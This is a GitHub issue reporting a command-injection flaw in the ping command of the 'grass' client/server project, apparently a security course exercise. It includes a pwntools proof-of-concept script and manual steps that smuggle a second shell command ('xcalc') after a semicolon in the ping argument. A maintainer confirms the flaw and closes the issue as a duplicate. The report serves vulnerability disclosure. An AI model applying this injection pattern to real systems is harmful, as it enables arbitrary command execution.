Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Command Injection - Ping Command #5

Closed
baraschi opened this issue May 13, 2019 · 1 comment
Closed

Command Injection - Ping Command #5

baraschi opened this issue May 13, 2019 · 1 comment
Labels
duplicate This issue or pull request already exists

Comments

@baraschi
Copy link

I am able to open a calculator when executing the ping command.
Here's a PoC:

'''
This script should be put in yannvonn/grass/ directory and run from there.
This script works on freshly restarted Kali Linux 64 bit VM.
Do not forget to make before running script.

Target: https://github.com/yannvon/grass

Exploit: Command Injection - Open calc through ping command
You can also run this by hand by doing:

make
./bin/server
./bin/client 127.0.0.1 1337
login u1
pass p1
ping wowmuchinject.com;xcalc

'''

from pwn import *

server_bin = './bin/server'
client_bin = './bin/client'
IP = "127.0.0.1"
PORT = "1337"
LOGIN = "login u1"
PASS = "pass p1"
CMD = "ping wowmuchinject;xcalc"

server = process(server_bin)
client = process([client_bin, IP,PORT])

client.sendline(LOGIN)
client.sendline(PASS)
client.sendline(CMD)
print("SERVER: {}".format(server.recvall()))

@KTiago KTiago added the duplicate This issue or pull request already exists label May 15, 2019
@KTiago
Copy link
Collaborator

KTiago commented May 15, 2019

You are correct, there is indeed a vulnerability in the ping command and we certifiy that your exploit works. 🥇

This is a duplicate issue as #3

@KTiago KTiago closed this as completed May 15, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
duplicate This issue or pull request already exists
Projects
None yet
Development

No branches or pull requests

2 participants